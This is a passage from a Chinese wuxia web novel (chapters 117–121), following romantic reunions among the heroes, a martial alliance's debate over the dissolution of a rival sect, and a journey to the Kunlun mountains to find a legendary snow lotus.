“她是公主?!”两人皆是一惊,完全不敢相信。 …… 不知不觉,已至一更,里屋灯火依旧,谈笑声不绝,听起来,大有通宵畅谈的意思。 “哪有谁是你娘不敢惹的啊?整个大草原,只要是两只脚走路的,见了公主,那都得绕路而行好吧。” 杜菱笑道:“你可别乱讲,我分明记得霖妹很温柔的好吧,而且,哪有你说得那么夸张,为了抓个偷羊贼,追了三天三夜,霖妹体力哪有这么好。” 展平亦道:“对啊,我记得,咱们以前上华山时,爬了才不到半个时辰霖妹就体力不支了,最后,好像还是大哥把她背上去的。” “嗯,就是” 于婉道:“华山?华山很高吗?你们爬了多久。” “好像,有六个时辰吧。”话罢,杜菱看向展平。 展平点了点头:“中途歇过半个时辰的,差不多,爬了五个时辰吧。” 于婉一听,大笑起来:“那爹爹岂不是背着我娘走了四个多时辰啊。” “那可不是嘛。” “爹爹也太惨了吧。” 杜菱道:“哪儿惨了,我看,就是这一背,才让大哥捡了便宜好吧,不然,我霖妹哪能看上大哥那个老古董啊。” 展平笑了笑,靠近杜菱,小声说道:“菱儿,咱们俩什么时候再去爬一次华山呗,我背你啊。” 杜菱摇摇头:“免了,当年我给过你机会了,你不珍惜怪谁。” “给过吗?” “给了啊,当年在那个亭子里休息时,我不是跟你说过嘛,我肚子不舒服,不想走路了。” 展平道:“不想走和不能走是两回事儿好吗,不想走,说明你还有力气,只是你想偷懒。” 杜菱勉强一笑:“真好,这么多年过去了,你一点儿没变,你当年也是这么说的。”话罢,白了展平一眼,不再理他。 突然,鞠衍问道:“那个叫司寇箫的,没有做对不起霖……公主的事儿吧。” 众人愣了几秒,场面一度有些尴尬。 杜菱笑了笑:“怎么会呢,霖妹和大哥非常恩爱,我从没见过有哪对恋人能比他们更加恩爱。” 鞠衍笑了笑:“那就好。” 轲比能看了看天色:“各位,天色已暗,我看,今天就不聊了吧,公主昏迷了这么久,才刚醒来,别染了风寒才好。” “别啊,这不还早嘛,我都睡了两三周了,也不差这一晚上吧。” 杜菱道:“好了好了,别闹了,快去睡吧。” 于婉没有说话,只是满眼失落的看向窗外,很快,众人媳了灯,退了出去。 院门口,两个男子突然从旁边闪出,拦住杜菱他们,竟是昭相雪与枯恂。 杜菱看清两人,大惊:“盟主?枯恂?这么晚了,你们俩还没睡吗?” 昭相雪目光闪烁:“额,我,我才刚忙完,正要去睡,路过此处而已。” 展平道:“盟主,你从书房到寝房,好像,不经过这儿吧。” 杜菱推了展平一把,岔开他话:“枯恂,你呢,你也是恰巧路过?” 枯恂道:“我?我是专门来看小师妹的啊!师太,小师妹好些了吗?她脖子上的伤,愈合了吗?”枯恂焦急的看着杜菱,昭相雪同样如此。 杜菱摇了摇头:“哪有这么快,不过,现在醒了,伤口痊愈那不过是时间问题,夜色已暗了,你们快回去休息吧。” 两人还有话要问,展平推着两人走开:“好了好了,明天还有时间嘛,快去休息吧,有什么事儿,明天再说不迟。” 第一百一十七章 拨开云雾现初阳 长夜漫漫,寒风刺骨,夜色很浓,有人踢翻床被、鼾声震耳,如枯恂;有人睡姿倾国、恬静自然,如江雨潇;有人憔悴失神,辗转难眠,如昭相雪、于婉…… 终于,初阳升起,昭相雪翻身而起,面容憔悴的他,仿佛一夜未睡,整好衣容,打了盆水,洗把脸,向外走去。 一缕阳光射进于婉住房,于婉强撑起来,同样,她也是面容憔悴,或许,是大病未愈,或许,也是一夜未眠,于婉强撑着做起,小心翼翼的下了床,却是连半步都迈不出,靠着床,半坐在地上。 听见里屋有动静,一名豫蛇教弟子推门进去,正是江雨潇。 “婉儿,你醒了?” “潇姐,我想出去走走。” 江雨潇将于婉扶起,坐在床边:“你才刚醒,体质虚弱,如何走得动啊。” 于婉摇了摇头:“潇姐,我已经好很多了,我想出去转转,透透气。” 看着虚弱的于婉,江雨潇叹息几声,拗不过她,帮她穿好衣服,整理好妆容,扶着她,小步想外走去。 院子不大,但出院的路,江雨潇扶着于婉走了许久许久,没办法,于婉毕竟大病未愈,在床上躺了那么久了,现在哪儿动得了啊,若是没有江雨潇搀扶,怕是这会儿才刚从里屋爬出来。 院门口,一男子低着头,在哪儿渡来渡去,也不知何意。 “昭相雪?” 于婉抬头一看,立马转身想要回院,但已她目前的身体状况,哪支撑得了她的行为,一个不小心,便跌倒下去。 幸亏江雨潇手快,将她扶住。 昭相雪见状也是一惊,立马冲上前,将她扶着。 于婉一把推开,满脸恼色:“走开,现在才来,早干嘛去了!” 昭相雪一脸懵逼:“你是在气这个吗?我昨天来了啊,你一醒来,我立马就朝这儿赶了,我从正午等到夜晚一更天,饭都没吃上一口,我也想见你啊,可是他们说你有事,拦着不让啊。” “你撒谎,你武功这么高,谁拦得住啊。” “真的啊,不信你问枯兄。” “枯恂?他跟你蛇鼠一窝,我才不信他呢。” “那,那你问江姑娘,她一直在这里,她总不会撒谎吧。” 于婉看向江雨潇,江雨潇点了点头。 于婉微微一笑,问道:“昭大哥,你之前对我说的是真的吗?” 昭相雪尴尬一笑,装糊涂道:“我,我之前对你说过什么吗?” “说过啊,你说你喜欢我,是真的吗?” 江雨潇见状,抿嘴偷笑,识趣的退开。 昭相雪小心的搀扶好于婉:“我,这……” 于婉急了:“怎么,你想耍赖啊,我告诉你,这辈子,我吃定你了,你可千万别想着赖掉。” 昭相雪摇了摇头:“婉儿,我们再也别分开了好吗?我喜欢你,一直以来都很喜欢你!” 于婉道:“为何你从来都不告诉我,在冀州时,我就曾告诉过你,我喜欢你啊。” 昭相雪苦涩一笑:“那时的我,大恩未报,旧仇未清,告诉了你,又有何用,你跟着我,只会居无定所,漂流四方。” 于婉道:“昭相雪,我该说你无私呢?还是自私呢?你怎么不问问,我愿不愿意跟你漂流四方呢?” 昭相雪紧紧抱住于婉:“婉儿,答应我,再也别离开我了好吗?” “那你也答应我,再也别抛下我了好吗?” “好,我答应了,无论以后发生何事,我都不会再抛下你。” “那我也答应你,无论以后发生何事,我都不会再离开你。” 两人紧紧相拥,于婉伸出身在昭相雪面前晃了晃,昭相雪注意到一个手镯,极其精美的一个手镯,昭相雪抓住于婉的手,细细打量起那手镯,这不正是十六年前,普渡河上,昭相雪送出的那个定情信物吗! 昭相雪大惊:“怎么会在你这儿?难不成?” 于婉笑了笑:“没错,我就是你救起的那个女孩。” 昭相雪一脸欣喜:“怪不得,我总觉得咱们很早之前就见过,你怎么不早说啊,我差点就错过你了。” 于婉道:“昭大哥,我希望你娶我,是因为真的爱我,而不是年幼无知随口瞎订的婚约。” 昭相雪点点头,从衣袖中摸出一物,竟是一匹蜀锦:“这匹蜀锦,我一直带在身上,婉儿,你还愿意为我做件漂亮的衣裳吗?” 于婉接过蜀锦,正是先前七夕乞巧赢的那匹:“当然。” 江雨潇站在远处,欣慰的笑了笑,这时,正巧枯恂赶来,大声叫嚷道:“小师妹!小师妹!” 江雨潇一把拉住他,堵住他嘴:“别说话,看不懂形式吗?” 枯恂这才反应过来,欣喜若狂:“他们俩?不知不觉,就成了?” 江雨潇点了点头,毫无预兆的将头靠在枯恂肩上。枯恂瞳孔大张,高兴得合不拢嘴,伸手搂住江雨潇。 …… 一周后、荆州: 月色朦胧,灯火阑珊。 一男子快步走在街上,经过一服饰店时,他停下脚步,细数银钱,步入店去,再出来时,一身白衣翩翩,气宇轩昂,宛若回到十六年前,仍是那个意气风发的白衣少年,可他身边,早已没了那个温柔善良的少女。 白衣男子转过街角,来到一渡口,高声呼叫船家租船。 “客官,这么晚了,要去哪儿啊?” “船家,我想租下你这条船,自己开行吗?” 听了这话,船家立马摇头摆手:“不行不行,万一你把船开走了不还怎么办?” 男子道:“那我直接出钱买吧。”那男子一边说着,一边掏出钱袋,里面银两充足,买下两艘都没问题。 “那也不行,最近官府查船查得紧,私卖船只可是违法的,你要是想买船,必须得先在官府登记,再找官府购买。” “我时间紧,等不了这么久,这些钱,我全给你,卖给我好吧。”男子话罢,将钱袋塞给了船夫。 船家仍是连连摆手:“再多钱也不行,那可是要掉脑袋的。” “不会,你随便找个借口,就说出海时,遭到意外,船沉了不就结了嘛。” 船家仍是连连摆手,两人争论许久,背后,传来一女子喊声:“你这客官真是奇怪,要去哪儿,让船家直接载你去不就好了嘛,何必花大价钱买。” 听到女子声音后,男子怔住了,闭上眼睛,竟留下泪来,这声音,没人比他更熟悉了,记忆里是她!梦里面是她!思念里,任是她! 男子回过头,看着那位女子,微微一笑,却泪若泉流。 两人四目相对,女子怔住了,大惊失色:“公孙大哥?” 那女子,即是慕容洵,而那位男子,则是公孙魄。 慕容洵毫不犹豫,飞速上前拥住公孙魄,公孙魄亦紧紧拥住慕容洵。 “你知道吗?就是这个渡口,今晚,这场景与十六年前一摸一样,这一次,我再不会放你独自离开了,公孙大哥,有什么事,我们一起扛好吗?” “洵儿,我不会再离开了,这辈子,谁也别想再把我们分开!” 第一百一十八章 鲜卑公主 司州、白马寺外,一溪流处,四个个年轻人聚于此处钓鱼。 “昭相雪到底再忙什么啊,昨天不说好了今天一起出来玩的嘛。” 江雨潇劝慰道:“哎呀,婉儿,昭相雪现在是盟主了,屁事一大堆,临时变卦,也怪不得他呀。” 枯恂附和道:“对啊对啊,不是还有咱们三个陪你嘛。”枯恂一边说着,一边扯了扯苏起衣服。 苏起道:“是啊,是啊,难得出来玩一次,想那些糟糕事干嘛,来,吃枣吃枣,我刚摘的,可甜了。”苏起摊开口袋,里面密密麻麻装满了青枣。 “哇,师兄,好本事啊。”枯恂近水楼台先得枣,抓起两个便往嘴里塞。“哇,真的甜啊,潇儿,你也尝尝。”话罢,再抓起五六个塞给江雨潇。 于婉可怜巴巴的看着青枣,口水直流:“我也要,我也要。” 枯恂道:“要吃自己拿,我只帮潇儿拿。”话罢冲潇儿笑了笑。 “都给你,都给你。”苏起将那袋青枣包好扔给了于婉。 “假的吧,师兄,我才吃了俩,你就全给小师妹了?你这,也太,太……” 苏起微微一笑,耸了耸肩,摊了摊手。 “二师兄,枣甜吗?要不再给你俩?”于婉一边吃着,一边逗枯恂。 枯恂咽咽口水,贱贱一笑,点了点头。 “哎,不给,潇姐,来,给你。”于婉抓了一把递给江雨潇。 “潇姐,可不许给枯恂啊。” 江雨潇笑着点点头,接过枣子。 “潇儿,咱俩的关系可不能让那个小丫头片子给离间了,你懂我的意思吧。”枯恂朝江雨潇眨眨眼。 江雨潇再点点头:“有理,求我。” “啊?” “求我,求我我就给你甜枣。” “潇儿,潇儿!你还是我认识的那个潇儿吗,以前的你,恬静大方、豁达明朗、温柔善良、知书达理、优雅谦逊……娇艳绝丽、楚楚动人、倾国倾城、亭亭玉立……” 江雨潇一脸期待的看着枯恂,似乎再等着他继续夸赞。 枯恂尴尬一笑,欲言又止:“原谅我才疏学浅,词穷了,我还是再去摘些回来吧。” 枯恂刚要起身,江雨潇一把将其拉下,将枣子全给了枯恂,贴耳细问道:“我真要这么多优点吗?” “岂止这些,这连十分之一都没说到呢。”枯恂一边狼吞虎咽的吃着枣,一边舔狗道。 苏起与于婉一脸佩服,纷纷朝枯恂竖起大拇指,高手,真是个高手。 众人说说笑笑,采了些野菜,掉了几条草鱼,吃过午饭,一直玩到黄昏时分。 “婉儿,婉儿!该回家了。”突然,后方传来一个男子的声音,硬朗而不失温柔谦虚。 “昭大哥!”于婉听见声音后,立马起身飞奔过去与昭相雪抱在一起。 “啧啧啧。”枯恂与江雨潇两人十指相扣,看着拥抱的昭相雪、于婉唏嘘起来。 苏起看着两边,微微一笑:“恋爱的酸臭味,溜了溜了。”话罢,御剑悄悄遁走。 夕阳下,两对恋人手牵着手,向白马寺走去,这条河流离白马寺并不远,道路也很平坦,估摸着,最多也就走一炷香的时间,如果可以,我倒希望这条路很长,很抖,最好,走他个三、五天…… “这么急吗?今晚就要走?” 于婉点点头:“这是我的使命,我没理由逃避的。” 昭相雪握住于婉的手:“婉儿,你要离开我了吗?你不是答应过我吗?今生今世永远不会离开我的。” “你想什么呢?我怎会离开你了,我只是去鲜卑了结公主身份而已,我可从没说过要离开你啊。” “你放心,最多两个月,我肯定会回来的。” 枯恂道:“小师妹,你去鲜卑就去鲜卑呗,非得叫上潇儿,你是鲜卑公主,出了事,自有侍卫保你周全,潇儿跟鲜卑非亲非故,出了事,谁负责?” 于婉一脸懵逼:“潇姐也要去吗?莫非,是菱姨的意思?” 江雨潇摇了摇头:“不是师傅的意思,是我主动要求的。” “啊,潇儿,别啊,这么远,路途艰险尚且不论,鲜卑民风民俗你一点儿都不了解,万一,我是说万一啊~” 江雨潇打断道:“婉儿也不了解啊,我如何放心得了她孤身一人前去鲜卑。婉儿好歹叫了我这么多声姐了,我可不想丢了这么一个漂亮可爱的小妹,你也不想丢了这个小师妹吧。” 枯恂欲言又止,无奈笑了笑。 “潇姐,你真好。”于婉上前,紧紧抱住江雨潇。 …… 离白马寺尚有一段距离,但前方道路却被一队鲜卑人马拦下,正是鞠衍、轲比能等人。 众人下马行礼后,鞠衍恭敬说道:“公主,该上车启程了。” 展平、杜菱亦在旁边。 “你们两个,路上小心点儿,遇事切记冷静,别太张扬,少做多看。” “是,师傅。” “哎呀,菱姨,咱们又不是三岁小孩儿,知道了知道了。” “谁说不是小孩,在我眼里,你们两个永远都是三岁小孩儿。” 三人小话一番后,杜菱回身对展平说道:“她们两我可就托付给你了,你可得给我照顾好了,谁要是少根汗毛,我拿你是问。” “知道了,菱儿,我办事你放心好吧。” “你办事就没让我放心过,我跟你说,你要是再敢像十六年前一样,说消失就消失,呵……” “哎,好的不说,说那些干嘛。” “呸呸呸,是我说错话了,注意安全。” 轲比能道:“时候不早了,上车吧。” 一番道别后,众人上了马,渐渐远去…… 第一百一十九章 影变 于婉等人走后,白马寺的运转依旧,各派聚在一起一边养精蓄锐,一边商议着如何击败魅影教。 昭相雪,一个刚满二十七岁的年轻人,机缘之下,被中原武林推举为武林盟主,大旗在身,重达千斤,到底该做什么,才能让大旗巍然耸立,昭相雪不知,中原武林亦无人知。眼下,魅影教主骷魅已突破第九重,且不说他率众来伐,中原武林抵挡不住。即使他只身前来,中原武林也是无人可敌,骷魅就像一座大山,中原武林的每一个人都被巨山压得喘不过气来,直到有一天,一个诡异的消息传来。 大概是在于婉等人离开两周以后: 一天,章玄突然急匆匆的拿着一封信件走来:“盟主呢?” 枯恂道:“他把自己关在地府之下,说是要闭关参悟一种功法。” “何等功法要参悟这么久,这都不吃不喝待了一天了。” “哎,谁知道呢,对了,章阁主,你找盟主有什么要紧事吗?要不要我进去通报一声。” “哦哦,没什么事,既然盟主不空,也就罢了。”章玄摇摇头,收起信转身离去。 章玄刚走没多久,浮生方丈又急匆匆的走近:“盟主呢?” 枯恂道:“禀告住持,盟主正在闭关参悟功法。” “参悟功法?”浮生在外面渡来渡去,眼巴巴的等着,这时,青菱师太与蔡彧、林奕湘三人走来。 “浮生方丈,你也在此啊。” 浮生抬头看见众人,立马问道:“你们来的正好,我手下的探子回报,魅影教,出大事了!” 几人一边小声说着什么,一边向一处偏院走去。蔡彧回头对枯恂嘱咐道:“盟主出来后,立马通知我们。” 几人神色匆忙,言语慌乱,也不知发生了何事。 夜过子时,昭相雪才从密室中走了出来,手中拿着一封信,见到门口昏睡的枯恂,立马紧张的将信藏起。 “枯兄,你怎么睡在这儿啊。” 闻见声响后,枯恂从地上惊醒:“昭兄,你可算出来了,浮生住持他们找你好多次了,我怕打扰你练功,所以,不敢进去禀告你。” “发生什么大事了吗?” “不知道啊,好像是魅影教发生了什么,这两天,我一直守在门口,外面发生了何事,我也不清楚。” “才过去两天?两天?!为何我有度日如年的感觉。两天?那岂不是还得撑上六周多才能再见到婉儿。” “盟主,你嘀嘀咕咕的说些什么呢,你两天没吃饭了,要不先去吃点儿饭吧,浮生住持他们估计都睡了,明天再去不迟。” 昭相雪道:“我不饿,你先回去休息吧,我去问问浮生住持发生了什么事。” 枯恂点点头正要离去,昭相雪再将他叫住:“哎,枯兄,我书房里的信纸用完了,你去帮我买点儿呗。” “没问题”枯恂想都没想,便一口答应了。 一偏房中,一张圆桌围满了人,此屋除了一道石门外,再无其他入口,窗户都没有的那种。 圆桌旁围坐的,皆是些有头有脸的大人物:浮生、谷月清、胡啸、章玄、杜济等。 此刻他们正商议着一件匪夷所思的大事。 …… 谷月清道:“说句实话,草野之战,真要论个输赢,输的肯定是我们。” 蔡彧点点头:“没错,赢的确实是他们魅影教,这也是此事的蹊跷之处。” 杜冥道:“事出反常必有妖,魅影教历来善使诡计,我等断不可掉以轻心。” 章玄道:“要我说,草野之战,从死亡人数上来看,魅影教的损失明显比我们惨重些,我倒是觉得,这场大战,赢的是我们。” 蔡彧道:“江湖争斗可不比两国相伐,怎可以伤亡论输赢。” “有何不可?事实就摆在眼前,如果不是我们赢了,魅影教又怎会发生这种事情。” 两方争论正凶,一少年走近。 众人立马起身问好:“盟主好。” 昭相雪道:“各位前辈好,都坐下吧,到底发生了何事?” 浮生方丈道:“据密探来报,骷魅离教近一个月了,至今下落不明,三天前,骷魅寄回一封信,废除左右护法、三大长老、教下八大堂主职位,并要求魅影教全体解散!” “解散?!”昭相雪暗思道‘是无冥前辈的意思,还是,那位叫骷魅的所为。’ 蔡彧道:“我认为,咱们在这儿讨论魅影教解散消息的真伪毫无意义,现在该做的,应该是立马查出魔头骷魅的下落。” 章玄道:“没错,骷魅现在孤身一人,我等合力围击,先将魔头击杀,其余教众还不是不攻自散。” 杜菱道:“说起来,那日骷魅孤身闯入白马寺,到底所为何事?而且,那日的打斗,他占尽上风,他分明可以直接杀掉我们的,为何要佯装落败退走呢?还有,他摔破的哪个葫芦里,放着两张纸条,上面到底写了些什么?” 浮生道:“说起来,那骷魅看了那两张纸条后,神态举止着实怪异,双目紧闭,状若昏死。” 昭相雪自言自语道:“我想,那两张纸条上,一定记载着事件的全部真相吧。” “真相?!”蔡彧道:“盟主,你的意思是?” 昭相雪尴尬一笑:“我的意思是,会不会是,骷魅他们再得知了某个真相后,决定改邪归正,所以才只身一人离开魅影教,并解散了它。” 众人听了大笑起来。 杜冥笑得尤其冷寂:“魔教妖人,个个心狠手辣,他们能改邪归正?呵,痴人说梦!”细看杜冥,体态微胖,虽然已是五十多岁的年龄了,但体格还算健壮,尤其是双臂,肉眼可见的肌肉,健壮非凡,不过,与之反常的是他的左手掌,那手掌极其瘦弱,完全看不到一丝血色、毫无肉感,简单概括起来,也就三个字:皮包骨! 章玄:“没错,魔教与中原武林积怨已久,他们绝不会就此罢休,换句话说,要么中原武林不复存在!要么他们魔教彻底消亡!”章玄接着说道:“草野之战,魅影教杀了我们太多同门道友,这个血仇,可不是他们说算了就能算得了的。” 杜菱道:“不过,现在秋殇大师、谷掌门都伤了元气,即使找到骷魅的踪迹,我等怕也是毫无胜算。” 众人表情凝重,低头不语,场面,一片寂静,唯一的声响,便是众人疲惫的喘息声,与沮丧的叹息声。 突然,杜济说道:“其实,倒也不是毫无胜算。” 第一百二十章 昆山雪莲 “盟主,你上次不是和枯恂他们去江东,不是求到过一味仙药嘛。”杜济突然问道昭相雪。 众人一脸期待,聚目看向昭相雪。 昭相雪恍然大悟:“莫不是前辈提醒,险些忘了大事!我听药圣前辈说,在昆仑神山的深处,有一种神秘的植物,平时寻不见,唯有天降大雪之时才会冒出头来,那植物状若莲花,无色无味,晒干后研磨成粉,有重塑元神的奇效!” 场上众人闻言无不大惊失色!能增补内力的药品已是神药,世上已是罕有!此时恰逢多事之秋,若是真有一种药,能重塑元神,那可真是中原武林的一大福音啊。 秋殇立马来了兴趣:“你的意思是,那昆山雪莲能修补我们元气?” 昭相雪点点头。 杜济道:“只是,那昆仑山脉东西纵横千里,山高水深,环境险恶,要想找到那雪莲可不容易啊!” 昭相雪笑道:“世上无难事,只怕有心人,在下不才,愿前往取药!” 蔡彧道:“盟主亲自去?不妥吧。” 杜菱道:“我看,还是我去吧,我有《白菱神功》,环境再险恶,我也过得去。” 杜济摇了摇头:“青菱师太,你应该清楚的,这昆仑地境谁都能去,唯有你去不得。”(昆仑山脉乃是极寒之地,百菱神功最忌寒冷) 杜冥亦道:“没错,咱们都上了年纪了,还是交给他们年轻人去吧。” 昭相雪道:“各位前辈放心,在下明日就启程,一定尽快将昆山雪莲带回!” 浮生道:“好,那咱们也别闲着,务必在盟主回来前,打探出骷魅的下落。” …… 次日天明,昭相雪、枯恂、苏起三人收拾好衣服细软,向昆仑山脉进发。 三人走后不久,各派高手分批乔装出寺,向四处散去,任务只有一个——查出骷魅下落,出发前,各派掌门千叮咛万嘱咐,让他们小心谨慎点儿,别中了骷魅奸计,别露了马脚,别和他打斗。重点搜查赌场、青楼、酒楼等大城镇的寻欢作乐之场所,他们哪能想到,此刻的骷魅已然归隐江湖,只想平平凡凡的过好公孙魄该过的生活。 但现实很残酷,倾巢出动的武林各派加散修,查出他的下落,只是时间问题耳,快则一个月,慢则三、五年,反正,平凡的生活终究会有破灭的一天,就好像五十年前,毒绝天下的慕容顾被中原五派围攻致死,他的妹妹与其丈夫东躲xz,销声匿迹躲了整整四年,最终,还是被发现了行踪…… 昭相雪三人一路快马加鞭,轻装便行,耗时近两周,总算来到昆仑山脉。 昆仑山脉的地势确实险恶,天气也古怪非凡,时而霜雪酷寒,时而烈日高悬,三人带了两周的干粮,沿路多有溪流,活下去倒是不成问题,只是这昆山雪莲,寻了五天了,竟是连半点儿踪迹都寻不到。 “咱们的干粮还够九天,再寻个四天吧,到时候,找没找到昆山雪莲,咱们都得退出去了。”苏起看着剩余的干粮说道。 枯恂道:“哎,找了五天了,连个昆山雪莲的影子都没看见,真是奇了怪了,运气也太背了吧!” 苏起道:“杜叔说了,昆山雪莲只有在大雪过后才能寻见,这一连几日全是晴天,找得到才怪了。” 枯恂摇摇头,叹息道:“哎,若是附近有村民就好了,咱们还可以问问他们,哪个地方在大雪之后会长出昆山雪莲,然后,我们直接去那边等着下雪就好了。” 苏起笑道“你想得倒美,那些村民哪会认识什么昆山雪莲啊!若真是人尽皆知,药店早就上货开卖了。”“好了好了,走吧,这地方古怪的很,我听杜叔说过,这个地方是东边烈阳西边雪,咱们再向前走走,说不定能遇上正在下雪的地方。” 枯恂一脸兴奋:“真的,那还等什么,快走吧。” “等等,咱们这样瞎摸乱闯,真的能寻见正在下雪的地方吗?进一步讲,就算真的寻见了,那地方也不一定有昆山雪莲啊。” 苏起道:“盟主,你的意思是?” 枯恂道:“昭兄,难不成,你是要我们就在这儿等着不成,咱们剩下的干粮可不多啊,可耗不起。” 昭相雪摇了摇头:“给我点儿时间,让我试试吧,或许能行。”话罢,昭相雪盘坐在地,运起功法,霎时间,外面灵力大幅涌来,在昭相雪身上形成一个巨大的灵力罩,那灵力罩越来越大,越来越大!仿佛没有尽头一般。 众人大惊,若是草野之战时,能用上这些灵力,那怕是十个骷魅也不够打的! 想不到,环境如此凶险的昆仑山脉,灵力竟如此丰沛!若是在此处修炼功法,不出三年,便可平步青云,遨游琼宇。 昭相雪转过身,面向西南方,正眼看去,乃是一处峡谷。“那边的灵力非常浓厚,说不定,藏有昆山雪莲!” 苏起与枯恂相视一笑:“那还等什么,走,看看去!” 峡谷两边高耸的山岩,将阳光完全挡住,整个峡谷一片阴黑死寂,头顶上不时传出飞鸟振动翅膀的声音,细眼看去,哪是什么飞鸟,两边密密麻麻的,趴满了蝙蝠! 苏起小说提醒道:“脚步轻点儿,别惊动了那些蝙蝠,有些蝙蝠可是有毒的。” 众人小心翼翼,轻声轻脚,总算出了峡谷,许是在洞里待得太久了,外面的阳光格外刺眼,众人闭着眼睛,慢慢睁开,睁开眼睛后,完犊子了。 洞外整整齐齐站了近三十多个人黑衣人,全拿这长刀,一脸凶险!三人还没来得及取剑格挡,长刀便已经架到了他们的脖子上,动作极其迅速,丝毫不给三人反击的机会。一阵迷香过后,三人失去知觉,昏死过去。 再睁眼时,昭相雪孤身一人,平躺在一个帐篷里,面前,坐着一位老者,细细看来,似乎有些眼熟,好像在哪儿见过。 老者见昭相雪醒来,微微一笑:“年轻人,咱们真是有缘啊,又见面了!” 听见老者说话后,昭相雪这才想起,这老人他确实见过,就在司州,给他喝忘忧酒的那位! “老先生,是你!你怎么会在这里!” 那老者一脸平静,给昭相雪倒了杯茶:“这话,该是我问你才对,你们来这里干嘛的,说实话,否则,你的朋友可能会有生命危险。” 昭相雪一惊,沉默不语,片刻后,无奈道:“昆山雪莲。” “昆山雪莲?”老者笑了笑:“说起来,还没问过你姓名呢,怎么称呼?” “昭相雪,昭告天下的昭,真相大白的相,报仇雪恨的雪” “昭相雪,自古英雄出少年啊!” 昭相雪尴尬一笑:“英雄?谈不上谈不上,老先生,你呢?” “顾邪,顾云的顾,邪魔的邪!” 第一百二十一章 吃点儿糖补身 “顾前辈好。” 老者笑了笑,再问道:“昭相雪,你弄丢的那位姑娘,追回来了吗?” 昭相雪一脸欣喜:“老先生,若不是你提点,我差点就真弄丢她了,万幸,她还在。” 顾邪欣慰一笑:“既然如此,你便不该来这里,若我是你,我会辞了盟主,与那位姑娘归隐江湖,从此再不过问俗世。” 昭相雪摇了摇头:“还不到时候,眼下,武林正值多事之秋,我发过誓,要做一个匡扶天下、拯救万民的侠士,我会有归隐的那天,但肯定不是现在。” 顾邪小声叹息道:“看着你,真是像极了当年的我啊。”接着,他再说道:“你回去吧,那位叫于婉的女子可不是什么普通女子,世人对身世的宽容,远比你想象中的,要低得多!” “老先生,你这话是什么意思?” 顾邪冷哼一声:“岂不知,毒绝天下慕容氏,滴血封喉众生熄!” “慕容氏?你的意思是,婉儿她是慕容顾的后代?” 顾邪并不回答,只是平静的喝着雪榆茶。 “昆山雪莲就在后面,你若想要,自己去取吧。” 昭相雪静思片刻,坚定说道:“老先生,即使婉儿真是慕容顾的后代,我也相信,她是个好人,她绝不会害我的。” 顾邪冷冷一笑:“昭相雪,你把问题想得太简单了,中原武林如果知道了于婉的身世,你觉得,他们也会相信于婉是个好人吗?别傻了!你以为,他们所谓的正邪是靠人的品性区分的?呵,怎么可能!若你出生慕容氏,即使你做过千件万件好事,你也摆脱不了他人的成见,摆脱不了魔头的称号!” 昭相雪闻言,停下脚步,回头说道:“我觉得,一个人是好是坏,是正是邪,不该由他人去说,就比如我,我自认为自己是个侠客,即使以后有千人万人说我狡诈奸邪,只要我不做狡诈奸邪之事,我仍是个侠客。”话罢,走了出去。 顾邪摇了摇头,自语道:“突然有些期待,若是当年的悲剧再重演,昭相雪,你会做出跟我不一样的选择吗?向世俗低头,还是奋起反抗呢?” …… 昭相雪走了大概一炷香的时间,越往里走,温度越发寒冷,看得出来,这地方刚刚下过雪,昭相雪仔细搜索四周,不放过任何一处角落,功夫不负有心人,终于,他发现了两株雪莲。 昭相雪小心翼翼退回峡谷口,才发现谷口躺着两个人,正是苏起、枯恂,两人五花大绑着,讲道理,其实也不用绑,此刻,二人睡得正香,根本没想跑好吧! 江东、黄骷岛: “贤婿啊,我那斛鹤膏你放哪儿去了?”一老者的声音从里屋传出,不用多说,那必然是慕容钧老前辈的声音。 “啊,在药房里啊,靠墙那个柜子,最下层吧。” 慕容钧根据指示,打开了那个抽屉,果然发现了两瓶斛鹤膏:小声嘀咕道:“记性真好,以后再也不用到处翻柜子找药了。” 慕容钧整理好药箱,提着它向渡口走去。 渡口处,一对小情侣手牵着手,紧密的依偎在一起,看到慕容钧后,两人收敛了些,松开手,向两边退开。 慕容钧笑了笑:“哎呀,都这个岁数了,还装什么装。”慕容钧一边说着,一边伸手将两人向中间拉拢。 “我出去,有点儿事,你们两个也别太过了啊,稍微注意点儿分寸,忍一忍,下个月完婚了,你们想怎么就怎么过。” 慕容洵瞬间羞红了脸:“爹,你说什么呢!我还是不是你女儿啊。” 慕容钧丝毫不避讳:“你还知道你是我女儿啊,都一把年纪了,还不加把劲儿,我还等着抱孙子呢!” “你这么着急抱孙子,那你就该把婚期安排得近些啊,下周的日子不挺好嘛,为何要等到下个月啊。” “嘿,你干娘还没回来呢!你干娘远在幽州,往这儿赶,不得花时间啊,难不成,你不想让你干娘参加你婚礼了?” 慕容洵笑了笑:“那不行,干娘最疼我了,必须得来。” “瞧你这话说的,好像我不疼你似的。” “爹也疼,都疼好了吧。” “好了好了,不跟你多话了,病人等着呢,我先走了。” 慕容洵道:“爹爹慢走。”公孙魄亦道:“爹爹慢走。” 慕容钧走后,两人平躺在草地上,草地依旧,枫叶依旧,江河依旧,万幸,人亦依旧。 公孙魄道:“洵儿,你还有个干娘啊,我怎么不知道,也没听你提起过啊。” “可能是我忘了说了吧,我干娘人可好了,十八岁时,我出去买药材,意外染上一种很奇怪的病,皮肤溃烂,四肢疲软,爹爹给我治了很久,却始终不见好转,没过多久,爹爹也病倒了。” 听了这话,公孙魄默默的搂紧慕容洵,一脸心疼的看着她 “我和爹爹试了很多个药方,都无济于事,那段时间,病魔缠身,疼痛难忍,几乎到了想自杀的程度,这个时候,黄骷岛却意外闯入一位女子,那位女子精通医术,悉心医治了我们近两周,竟将我和爹爹的病给治好了!自那以后,那女子便久住岛上,成了我干娘。” “还有这么一段惊险的往事啊,那这么说来,我还得好好感谢她啊,若不是她,我岂不是要打一辈子光棍了。” “你少贫嘴,我才不信呢,没要我,你肯定会找其他女人,说不准,你在乌桓的那十几年里,就早有妻妾儿女了吧。” “没有!绝对没有!洵儿,你知道吗,我做过最美的梦,便是娶你做我的新娘,没想到,这美梦竟然成真了。” 慕容洵调皮道:“成真了吗?我看,未必吧。” 慕容洵虽是玩笑话,但公孙魄听后却急了:“洵儿,你可不能反悔啊,今生今世,你只许嫁给我一个人。” 慕容洵道:“我偏不,某人当年明明说过,要用八抬大轿来娶我,现在一抬都没有,还想娶我,那可不行,这传出去,我多掉价啊。” “别啊,八抬大轿有何难,只要你愿意嫁给我就好,八十抬大轿都给你请来。” “哟哟哟,八十抬,你有那么多钱吗?” 公孙魄尴尬一笑:“你们这儿能赊账吗?等结完婚后,我再回乌桓拿些钱来还给他们行吗?” 